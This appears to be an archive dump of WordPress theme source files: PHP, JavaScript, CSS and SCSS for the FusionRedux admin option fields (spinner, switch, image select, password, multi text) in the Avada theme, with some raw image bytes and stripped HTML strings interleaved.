    '; } //function /** * Clean the field data to the fields defaults given the parameters. * * @since FusionRedux_Framework 3.1.1 */ function clean() { if ( empty( $this->field['min'] ) ) { $this->field['min'] = 0; } else { $this->field['min'] = intval( $this->field['min'] ); } if ( empty( $this->field['max'] ) ) { $this->field['max'] = intval( $this->field['min'] ) + 1; } else { $this->field['max'] = intval( $this->field['max'] ); } if ( empty( $this->field['step'] ) || $this->field['step'] > $this->field['max'] ) { $this->field['step'] = 1; } else { $this->field['step'] = intval( $this->field['step'] ); } if ( empty( $this->value ) && ! empty( $this->field['default'] ) && intval( $this->field['min'] ) >= 1 ) { $this->value = intval( $this->field['default'] ); } if ( empty( $this->value ) && intval( $this->field['min'] ) >= 1 ) { $this->value = intval( $this->field['min'] ); } if ( empty( $this->value ) ) { $this->value = 0; } // Extra Validation if ( $this->value < $this->field['min'] ) { $this->value = intval( $this->field['min'] ); } else if ( $this->value > $this->field['max'] ) { $this->value = intval( $this->field['max'] ); } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 3.0.0 */ function enqueue() { wp_enqueue_script( 'fusionredux-field-spinner-custom-js', FusionReduxFramework::$_url . 'inc/fields/spinner/vendor/spinner_custom.js', array( 'jquery' ), time(), true ); wp_enqueue_script( 'fusionredux-field-spinner-js', FusionReduxFramework::$_url . 'inc/fields/spinner/field_spinner' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-field-spinner-custom-js', 'jquery-ui-core', 'jquery-ui-dialog', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-spinner-css', FusionReduxFramework::$_url . 'inc/fields/spinner/field_spinner.css', array(), time(), 'all' ); } } public function output() { $style = ''; if ( ! empty( $this->value ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = $this->parseCSS($this->value, $this->field['output']); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = $this->parseCSS($this->value, $this->field['output']); $this->parent->compilerCSS .= $css; } } } private function parseCSS($value, $output){ // No notices $css = ''; $unit = isset($this->field['output_unit']) ? $this->field['output_unit'] : 'px'; // Must be an array if (is_numeric($value)) { if (is_array($output)) { foreach($output as $mode => $selector) { if (!empty($mode) && !empty($selector)) { $css .= $selector . '{' . $mode . ': ' . $value . $unit . ';}'; } } } } return $css; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/spinner/field_spinner.css000064400000005302152342437710026155 0ustar00.fusionredux-container-spinner .spinner-wrpr{position:relative;display:block;height:30px;overflow:hidden}.fusionredux-container-spinner .spinner-wrpr .spinner-input{position:relative !important;z-index:1;width:45px !important;height:30px !important;background:#e7e7e7 !important;border:1px solid #bfbfbf !important;border-right:0 !important;border-left:0 !important;-webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important}.fusionredux-container-spinner .ui-spinner{position:static;display:inline}.fusionredux-container-spinner .ui-spinner-buttons{position:absolute;padding:0}.fusionredux-container-spinner .ui-widget .ui-spinner-button{position:absolute;top:0;padding:0 0 30px;overflow:hidden;cursor:pointer;background:-moz-linear-gradient(#ffffff, #f3f3f3);background:-o-linear-gradient(#ffffff, #f3f3f3);background:-webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#f3f3f3));background:linear-gradient(#ffffff, #f3f3f3);background-color:#fff;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.fusionredux-container-spinner .ui-spinner-button:hover,.fusionredux-container-spinner .ui-state-hover{background:-moz-linear-gradient(#f3f3f3, #ffffff);background:-o-linear-gradient(#f3f3f3, #ffffff);background:-webkit-gradient(linear, left top, left bottom, from(#f3f3f3), to(#ffffff));background:linear-gradient(#f3f3f3, #ffffff);background-color:#f3f3f3}.fusionredux-container-spinner .ui-corner-tr,.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{-webkit-border-radius:0 5px 5px 0;-moz-border-radius:0 5px 5px 0;border-radius:0 5px 5px 0}.fusionredux-container-spinner .ui-corner-br,.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{-webkit-border-radius:5px 0 0 5px;-moz-border-radius:5px 0 0 5px;border-radius:5px 0 0 5px}.fusionredux-container-spinner .ui-spinner-button .ui-icon{top:0;display:block;width:28px;height:28px;margin:0;border:1px solid #b7b7b7}.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat !important}.fusionredux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat !important}/*# sourceMappingURL=FusionReduxCore/inc/fields/spinner/field_spinner.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.min.js000064400000002522152342437710026232 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.switch=fusionredux.field_objects.switch||{},e(document).ready(function(){}),fusionredux.field_objects.switch.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-switch:visible")),e(i).each(function(){var i=e(this),s=i;i.hasClass("fusionredux-field-container")||(s=i.parents(".fusionredux-field-container:first")),s.is(":hidden")||s.hasClass("fusionredux-field-init")&&(s.removeClass("fusionredux-field-init"),i.find(".cb-enable").on("click",function(){if(!e(this).hasClass("selected")){var s=e(this).parents(".switch-options");e(".cb-disable",s).removeClass("selected"),e(this).addClass("selected"),e(".checkbox-input",s).val(1).trigger("change"),fusionredux_change(e(".checkbox-input",s));var n=".f_"+e(this).data("id");i.find(n).slideDown("normal","swing")}}),i.find(".cb-disable").on("click",function(){if(!e(this).hasClass("selected")){var s=e(this).parents(".switch-options");e(".cb-enable",s).removeClass("selected"),e(this).addClass("selected"),e(".checkbox-input",s).val(0).trigger("change"),fusionredux_change(e(".checkbox-input",s));var n=".f_"+e(this).data("id");i.find(n).slideUp("normal","swing")}}),i.find(".cb-enable span, .cb-disable span").find().attr("unselectable","on"))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.css000064400000002632152342437710025626 0ustar00.fusionredux-container-switch .switch-options{min-height:30px;margin-right:10px}.fusionredux-container-switch .switch-options label{cursor:pointer}.fusionredux-container-switch .switch-options input{display:none}.fusionredux-container-switch .cb-enable,.fusionredux-container-switch .cb-disable{padding:0 10px;border-width:1px;border-style:solid;-webkit-appearance:none;white-space:nowrap;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.fusionredux-container-switch .cb-enable span,.fusionredux-container-switch .cb-disable span{line-height:30px;display:block;font-weight:700;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}.fusionredux-container-switch .cb-enable,.fusionredux-container-switch .cb-disable,.fusionredux-container-switch .cb-enable span,.fusionredux-container-switch .cb-disable span{display:block;float:left}.fusionredux-container-switch .cb-enable{border-right:0;border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px}.fusionredux-container-switch .cb-enable.selected{color:#fff}.fusionredux-container-switch .cb-disable{border-left:0;border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0}.fusionredux-container-switch .cb-disable.selected{color:#fff}/*# sourceMappingURL=FusionReduxCore/inc/fields/switch/field_switch.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/slider-control.png000064400000003232152342437710026113 0ustar00PNG  IHDRVΎWtEXtSoftwareAdobe ImageReadyqe<kiTXtXML:com.adobe.xmp ZIDATxڤTKK[QUDRKWjtEJ*vp-T]-!’bļ0Mb&wz*nz`swfs9,,v)6Yz,]):1a>:JCCC$#C3d5x1l&&&0=|_6lRB, !5122BSSS)Tu]K1KnkQRqEq:s1O2xtpW:PZCiFcjZyxAv'̪H BrO)ECT3.fA<GOOOd'agyppkwwq7 ƻʟy +>:7;|"v70^Lboo$')'њ:w.///q/=Hy]ȀWVVޱMCltJIC:v?[Z3"iIENDB`Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.scss000064400000002657152342437710026020 0ustar00.fusionredux-container-switch { .switch-options { min-height: 30px; margin-right: 10px; label { cursor: pointer; } input { display: none; } } .cb-enable, .cb-disable { padding: 0 10px; border-width: 1px; border-style: solid; -webkit-appearance: none; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; span { line-height: 30px; display: block; font-weight: 700; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -o-user-select: none; -ms-user-select: none; user-select: none; } } .cb-enable, .cb-disable, .cb-enable span, .cb-disable span { display: block; float: left; } .cb-enable { border-right: 0; border-radius: 3px 0px 0px 3px; -moz-border-radius: 3px 0px 0px 3px; -webkit-border-radius: 3px 0px 0px 3px; &.selected { color: #fff; } } .cb-disable { border-left: 0; border-radius: 0px 3px 3px 0px; -moz-border-radius: 0px 3px 3px 0px; -webkit-border-radius: 0px 3px 3px 0px; &.selected { color: #fff; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.js000064400000006214152342437710025452 0ustar00/*global fusionredux_change, fusionredux*/ /** * Switch * Dependencies : jquery * Feature added by : Smartik - http://smartik.ws/ * Date : 03.17.2013 */ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.switch = fusionredux.field_objects.switch || {}; $( document ).ready( function() { //fusionredux.field_objects.switch.init(); } ); fusionredux.field_objects.switch.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-switch:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( ".cb-enable" ).on( 'click', function() { if ( $( this ).hasClass( 'selected' ) ) { return; } var parent = $( this ).parents( '.switch-options' ); $( '.cb-disable', parent ).removeClass( 'selected' ); $( this ).addClass( 'selected' ); $( '.checkbox-input', parent ).val( 1 ).trigger('change'); fusionredux_change( $( '.checkbox-input', parent ) ); //fold/unfold related options var obj = $( this ); var $fold = '.f_' + obj.data( 'id' ); el.find( $fold ).slideDown( 'normal', "swing" ); } ); el.find( ".cb-disable" ).on( 'click', function() { if ( $( this ).hasClass( 'selected' ) ) { return; } var parent = $( this ).parents( '.switch-options' ); $( '.cb-enable', parent ).removeClass( 'selected' ); $( this ).addClass( 'selected' ); $( '.checkbox-input', parent ).val( 0 ).trigger('change'); fusionredux_change( $( '.checkbox-input', parent ) ); //fold/unfold related options var obj = $( this ); var $fold = '.f_' + obj.data( 'id' ); el.find( $fold ).slideUp( 'normal', "swing" ); } ); el.find( '.cb-enable span, .cb-disable span' ).find().attr( 'unselectable', 'on' ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/field_switch.php000064400000004632152342437710025627 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 0.0.4 */ function render() { $cb_enabled = $cb_disabled = ''; //no errors, please // //Get selected if ( (int) $this->value == 1 ) { $cb_enabled = ' selected'; } else { $cb_disabled = ' selected'; } //Label ON $this->field['on'] = isset( $this->field['on'] ) ? $this->field['on'] : __( 'On', 'Avada' ); //Label OFF $this->field['off'] = isset( $this->field['off'] ) ? $this->field['off'] : __( 'Off', 'Avada' ); echo '
    '; echo ''; echo ''; echo ''; echo '
    '; } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 0.0.4 */ function enqueue() { wp_enqueue_script( 'fusionredux-field-switch-js', FusionReduxFramework::$_url . 'inc/fields/switch/field_switch' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-switch-css', FusionReduxFramework::$_url . 'inc/fields/switch/field_switch.css', array(), time(), 'all' ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/switch/switch.gif000064400000002321152342437710024433 0ustar00GIF89a\%ItVb\\\`i}dBm u(R{yKs| imoqvvvi[dddWyMrUUUQ]Rq'aaadXW^|||pppzzzjjjrrrnnntttlllxxxhhhyv{sgbk儶#Oggg$uρ"`s!Ȭu nΙÏؿÀXpz!2|nWx%zX \&eUa$#\fff!,L}|! OS<&A9;C̢@>:?B=DT%, QP4NH`Az(TXaC#!"8E2f\‘#YdI%(Q2X2˗0mȔy͛/rl?'C+HXBb&parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); } $this->field['data_class'] = ( isset( $this->field['multi_layout'] ) ) ? 'data-' . $this->field['multi_layout'] : 'data-full'; if ( ! empty( $this->field['options'] ) ) { echo '
      '; foreach ( $this->field['options'] as $k => $v ) { echo '
    • '; echo ''; echo '
    • '; } //foreach echo '
    '; } } //function } //class }includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/image_select/field_image_select.min.js000064400000002604152342437710030414 0ustar00Avada!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.image_select=fusionredux.field_objects.image_select||{},e(document).ready(function(){}),fusionredux.field_objects.image_select.init=function(i){i||(i=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-image_select:visible")),e(i).each(function(){var i=e(this),t=i;i.hasClass("fusionredux-field-container")||(t=i.parents(".fusionredux-field-container:first")),t.is(":hidden")||t.hasClass("fusionredux-field-init")&&(t.removeClass("fusionredux-field-init"),i.find(".fusionredux-image-select label img, .fusionredux-image-select label .tiles").on("click",function(t){var s=e(this).closest("label").attr("for");e(this).parents("fieldset:first").find(".fusionredux-image-select-selected").removeClass("fusionredux-image-select-selected").find("input[type='radio']").attr("checked",!1),e(this).closest("label").find('input[type="radio"]').prop("checked"),i.find('label[for="'+s+'"]').addClass("fusionredux-image-select-selected").find("input[type='radio']").attr("checked",!0).trigger("change"),fusionredux_change(e(this).closest("label").find('input[type="radio"]'))}),i.find(".tiles").qtip({content:{text:function(i,t){return""}},style:"qtip-tipsy",position:{my:"top center",at:"bottom center"}}))})}}(jQuery);includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/image_select/field_image_select.php000064400000014571152342437710030013 0ustar00Avada. * * @package FusionReduxFramework * @subpackage Field_Images * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_image_select' ) ) { /** * Main FusionReduxFramework_image_select class * * @since 1.0.0 */ class FusionReduxFramework_image_select { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( ! empty( $this->field['options'] ) ) { echo '
    '; echo '
      '; $x = 1; foreach ( $this->field['options'] as $k => $v ) { if ( ! is_array( $v ) ) { $v = array( 'img' => $v ); } if ( ! isset( $v['title'] ) ) { $v['title'] = ''; } if ( ! isset( $v['alt'] ) ) { $v['alt'] = $v['title']; } if ( ! isset( $v['class'] ) ) { $v['class'] = ''; } $style = ''; if ( ! empty( $this->field['width'] ) ) { $style .= 'width: ' . $this->field['width']; if ( is_numeric( $this->field['width'] ) ) { $style .= 'px'; } $style .= ';'; } else { $style .= " width: 100%; "; } if ( ! empty( $this->field['height'] ) ) { $style .= 'height: ' . $this->field['height']; if ( is_numeric( $this->field['height'] ) ) { $style .= 'px'; } $style .= ';'; } $theValue = $k; if ( ! empty( $this->field['tiles'] ) && $this->field['tiles'] == true ) { $theValue = $v['img']; } $selected = ( checked( $this->value, $theValue, false ) != '' ) ? ' fusionredux-image-select-selected' : ''; $this->field['class'] .= ' noUpdate '; $merge = ''; if ( isset( $v['merge'] ) && $v['merge'] !== false ) { $merge = is_array( $v['merge'] ) ? implode( '|', $v['merge'] ) : 'true'; $merge = ' data-merge="' . htmlspecialchars( $merge, ENT_QUOTES, 'UTF-8' ) . '"'; } echo '
    • '; echo ''; echo '
    • '; $x ++; } echo '
    '; echo '
    '; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'fusionredux-field-image-select-js', FusionReduxFramework::$_url . 'inc/fields/image_select/field_image_select' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-image-select-css', FusionReduxFramework::$_url . 'inc/fields/image_select/field_image_select.css', array(), time(), 'all' ); } } public function getCSS( $mode = '' ) { $css = ''; $value = $this->value; $output = ''; if ( ! empty( $value ) && ! is_array($value) ) { switch ( $mode ) { case 'background-image': $output = "background-image: url('" . $value . "');"; break; default: $output = $mode . ": " . $value . ";"; } } $css .= $output; return $css; } public function output() { $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'background-image' ); if ( ( ! isset( $this->field['output'] ) || ! is_array( $this->field['output'] ) ) && ( ! isset( $this->field['compiler'] ) ) ) { return; } $style = $this->getCSS( $mode ); if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $style = $keys . "{" . $style . '}'; $this->parent->outputCSS .= $style; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $style = $keys . "{" . $style . '}'; $this->parent->compilerCSS .= $style; } } } } } includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/image_select/field_image_select.css000064400000003100152342437710027776 0ustar00Avada.fusionredux-container-image_select .fusionredux-table-container{display:table;table-layout:fixed;width:100%}.fusionredux-container-image_select .fusionredux-image-select{margin:0 !important}.fusionredux-container-image_select .fusionredux-image-select .tiles{display:block;background-color:#fff;background-repeat:repeat;width:40px;height:40px}.fusionredux-container-image_select .fusionredux-image-select img,.fusionredux-container-image_select .fusionredux-image-select .tiles{border-color:#d9d9d9}.fusionredux-container-image_select .fusionredux-image-select li:last-child{margin-bottom:0}.fusionredux-container-image_select .fusionredux-image-select input[type=radio]{display:none}.fusionredux-container-image_select .fusionredux-image-select-presets img{width:100%}.fusionredux-container-image_select ul.fusionredux-image-select li{margin:0 10px 3px 10px;display:inline-block;padding:2px 2px;padding-left:0}.fusionredux-container-image_select .fusionredux-image-select-selected{background-color:#f9f9f9}.fusionredux-container-image_select .fusionredux-image-select img,.fusionredux-container-image_select .fusionredux-image-select-selected img,.fusionredux-container-image_select .fusionredux-image-select .tiles,.fusionredux-container-image_select .fusionredux-image-select-selected .tiles{border-width:4px;border-style:solid}.fusionredux-container-image_select .fusionredux-image-select-selected .tiles,.fusionredux-container-image_select .fusionredux-image-select-selected .tiles{border-color:#7a7a7a}/*# sourceMappingURL=FusionReduxCore/inc/fields/image_select/field_image_select.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/image_select/field_image_select.js000064400000006010152342437710027704 0ustar00/* global confirm, fusionredux, fusionredux_change */ /*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.image_select = fusionredux.field_objects.image_select || {}; $( document ).ready( function() { //fusionredux.field_objects.image_select.init(); } ); fusionredux.field_objects.image_select.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-image_select:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } // On label click, change the input and class el.find( '.fusionredux-image-select label img, .fusionredux-image-select label .tiles' ).on( 'click', function( e ) { var id = $( this ).closest( 'label' ).attr( 'for' ); $( this ).parents( "fieldset:first" ).find( '.fusionredux-image-select-selected' ).removeClass( 'fusionredux-image-select-selected' ).find( "input[type='radio']" ).attr( "checked", false ); $( this ).closest( 'label' ).find( 'input[type="radio"]' ).prop( 'checked' ); el.find( 'label[for="' + id + '"]' ).addClass( 'fusionredux-image-select-selected' ).find( "input[type='radio']" ).attr( "checked", true ).trigger('change'); fusionredux_change( $( this ).closest( 'label' ).find( 'input[type="radio"]' ) ); } ); // Used to display a full image preview of a tile/pattern el.find( '.tiles' ).qtip( { content: { text: function( event, api ) { return ""; }, }, style: 'qtip-tipsy', position: { my: 'top center', // Position my top left... at: 'bottom center', // at the bottom right of... } } ); } ); }; })( jQuery ); includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/image_select/field_image_select.scss000064400000002433152342437710030171 0ustar00Avada.fusionredux-container-image_select { .fusionredux-table-container { display: table; table-layout: fixed; width: 100%; } .fusionredux-image-select { margin: 0 !important; .tiles { display: block; background-color: #FFF; background-repeat: repeat; width: 40px; height: 40px; } img, .tiles { border-color: #d9d9d9; } li:last-child { margin-bottom: 0; } input[type='radio'] { display: none; } } .fusionredux-image-select-presets img { width: 100%; } ul.fusionredux-image-select li { margin: 0 10px 3px 10px; display: inline-block; padding: 2px 2px; padding-left: 0; } .fusionredux-image-select-selected { background-color: #f9f9f9; } .fusionredux-image-select img, .fusionredux-image-select-selected img, .fusionredux-image-select .tiles, .fusionredux-image-select-selected .tiles { border-width: 4px; border-style: solid; } .fusionredux-image-select-selected, .fusionredux-image-select-selected { .tiles { border-color: #7a7a7a; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/password/field_password.php000064400000007076152342437710026536 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.1 */ function render() { if ( ! empty( $this->field['username'] ) && $this->field['username'] === true ) { $this->_render_combined_field(); } else { $this->_render_single_field(); } } /** * This will render a combined User/Password field * * @since FusionReduxFramework 3.0.9 * @example * * array( * 'id' => 'smtp_account', * 'type' => 'password', * 'username' => true, * 'title' => 'SMTP Account', * 'placeholder' => array('username' => 'Username') * ) * */ private function _render_combined_field() { $defaults = array( 'username' => '', 'password' => '', 'placeholder' => array( 'password' => __( 'Password', 'Avada' ), 'username' => __( 'Username', 'Avada' ) ) ); $this->value = wp_parse_args( $this->value, $defaults ); if ( ! empty( $this->field['placeholder'] ) ) { if ( is_array( $this->field['placeholder'] ) ) { if ( ! empty( $this->field['placeholder']['password'] ) ) { $this->value['placeholder']['password'] = $this->field['placeholder']['password']; } if ( ! empty( $this->field['placeholder']['username'] ) ) { $this->value['placeholder']['username'] = $this->field['placeholder']['username']; } } else { $this->value['placeholder']['password'] = $this->field['placeholder']; } } // Username field echo ' '; // Password field echo ''; } /** * This will render a single Password field * * @since FusionReduxFramework 3.0.9 * @example * * array( * 'id' => 'smtp_password', * 'type' => 'password', * 'title' => 'SMTP Password' * ) * */ private function _render_single_field() { echo ''; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.js000064400000005021152342437710027237 0ustar00/*global fusionredux_change, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.multi_text = fusionredux.field_objects.multi_text || {}; $( document ).ready( function() { //fusionredux.field_objects.multi_text.init(); } ); fusionredux.field_objects.multi_text.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.fusionredux-container-multi_text:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.on( 'click', '.fusionredux-multi-text-remove', function() { fusionredux_change( $( this ) ); $( this ).prev( 'input[type="text"]' ).val( '' ); $( this ).parent().slideUp( 'medium', function() { $( this ).remove(); } ); } ); el.find( '.fusionredux-multi-text-add' ).on( 'click', function() { var number = parseInt( $( this ).attr( 'data-add_number' ) ); var id = $( this ).attr( 'data-id' ); var name = $( this ).attr( 'data-name' ); for ( var i = 0; i < number; i++ ) { var new_input = $( '#' + id + ' li:last-child' ).clone(); el.find( '#' + id ).append( new_input ); el.find( '#' + id + ' li:last-child' ).removeAttr( 'style' ); el.find( '#' + id + ' li:last-child input[type="text"]' ).val( '' ); el.find( '#' + id + ' li:last-child input[type="text"]' ).attr( 'name', name ); } } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.scss000064400000002040152342437710027574 0ustar00.fusionredux-container-multi_text { ul.fusionredux-multi-text { margin: 0; padding: 0; } .fusionredux-multi-text-add { clear: both; margin: 5px 0; } a.fusionredux-multi-text-remove { &.deletion { color: #F00; padding: 2px 4px; margin-left: 5px; &:hover { background: red; color: #fff; text-decoration: none; } } } } @media screen and (max-width: 782px) { .fusionredux-container-multi_text { input { clear: both; } .fusionredux-multi-text-remove { margin: 0; float: right; } } } .wp-customizer { .fusionredux-container-multi_text { .button { float: right; } .fusionredux-multi-text-remove { float: right; margin-bottom: 5px; } ul.fusionredux-multi-text input { width: 100% !important; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.min.js000064400000002224152342437710030023 0ustar00!function(t){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.multi_text=fusionredux.field_objects.multi_text||{},t(document).ready(function(){}),fusionredux.field_objects.multi_text.init=function(i){i||(i=t(document).find(".fusionredux-container-multi_text:visible")),t(i).each(function(){var i=t(this),e=i;i.hasClass("fusionredux-field-container")||(e=i.parents(".fusionredux-field-container:first")),e.is(":hidden")||e.hasClass("fusionredux-field-init")&&(e.removeClass("fusionredux-field-init"),i.on("click",".fusionredux-multi-text-remove",function(){fusionredux_change(t(this)),t(this).prev('input[type="text"]').val(""),t(this).parent().slideUp("medium",function(){t(this).remove()})}),i.find(".fusionredux-multi-text-add").on("click",function(){for(var e=parseInt(t(this).attr("data-add_number")),n=t(this).attr("data-id"),d=t(this).attr("data-name"),u=0;u. * * @package FusionReduxFramework * @subpackage Field_Multi_Text * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_multi_text' ) ) { /** * Main FusionReduxFramework_multi_text class * * @since 1.0.0 */ class FusionReduxFramework_multi_text { public $parent; public $field; public $value; public $add_text; public $show_empty; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $this->add_text = ( isset( $this->field['add_text'] ) ) ? $this->field['add_text'] : __( 'Add More', 'Avada' ); $this->show_empty = ( isset( $this->field['show_empty'] ) ) ? $this->field['show_empty'] : true; echo ''; echo ''; $this->field['add_number'] = ( isset( $this->field['add_number'] ) && is_numeric( $this->field['add_number'] ) ) ? $this->field['add_number'] : 1; echo '' . $this->add_text . '
